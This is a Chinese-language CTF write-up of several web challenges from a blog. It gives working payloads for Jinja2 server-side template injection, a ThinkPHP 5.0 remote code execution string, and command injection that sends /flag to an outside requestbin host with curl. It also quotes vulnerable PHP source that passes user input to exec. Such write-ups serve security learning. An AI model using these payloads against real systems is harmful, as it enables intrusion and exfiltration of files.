谷歌搜索框搜索后源码提示ssti,试了下{{ 6*6 }}发现输出36,exp:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls ../../../../../').read()") }}
{% endif %}
{% endfor %}
输出根目录有个flag,直接读:
官方wp为:
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read()[1:] }}
看wp过滤输出,需要要切片才能读,但实际做题发现不用。
首页即提示Thinkphp5,随便传个参数发现报错了,拉到最下面发现是tp5.0版本,直接网上搜一个rce打过去就好了,exp:
_method=__construct&filter[]=system&method=get&get[]=ls
回退发现根目录有个flag,直接:
_method=__construct&filter[]=system&method=get&get[]=cat /flag
提示swp泄露,直接.index.php.swp获得源码,vim -r index.php.swp取得如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
因为buu平台靶机无法访问外网,但可以用buu提供的内网进行访问,然后利用exec把flag作为post的数据post给我们的内网机器:
girl_friend=curl -X POST -d `c""at /flag` http://http.requestbin.buuoj.cn/1bvpl4g1
发现flag不是这个,尝试用find查找flag:
girl_friend=curl -X POST -d `find / -iname flag` http://http.requestbin.buuoj.cn/1bvpl4g1
如下目录存在flag:
/etc/demo/P3rh4ps/love/you/flag
直接cat flag
查看源码发现有个test.php,进入后发现是个登录框,然后回看首页提示只要我们给网站地址它就会帮我们爆破出密码,那么可能就是利用它来爆破出test.php的密码,那么输入:
http://localhost/test.php
发现进度很慢,check之后抓个包看看,发现cookie有串码有两个%3D,也就是==,有可能是base64,解出来发现是时间戳,改了之后没什么反应,后面看wp才知道直接置空就可以获得提示。
Burst successed! The passwd is av11664517@1583985203
wp说av这个就是b站的视频号。。。然后根据后面时间戳翻到评论时间找flag。。。
BJD{Quantum_Mechanics_really_Ez}
登录抓个包发现了L0g1n.php,进去后提示:
Sorry, this site will be available after totally 99 years!
即99年后才能访问,刷新抓包发现时间戳,改下时间戳,又提示这个:
Sorry, this site is only optimized for those who comes from localhost
改xff发现失败了,搜了下还有个X-Real-IP和Client-IP,改两个都可以,然后就是
Sorry, this site is only optimized for those who come from gem-love.com
加个Referer: gem-love.com
Sorry, this site is only optimized for browsers that run on Commodo 64
搜了下发现是一款浏览器,改为它的ua头Commodore 64
Sorry, this site is only optimized for those whose email is root@gem-love.com
from请求头表示请求发送者的邮箱,from: root@gem-love.com
Sorry, this site is only optimized for those who use the http proxy of y1ng.vip
if you dont have the proxy, pls contact us to buy, ¥100/Month
via放代理服务器地址via: y1ng.vip
flag到手
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/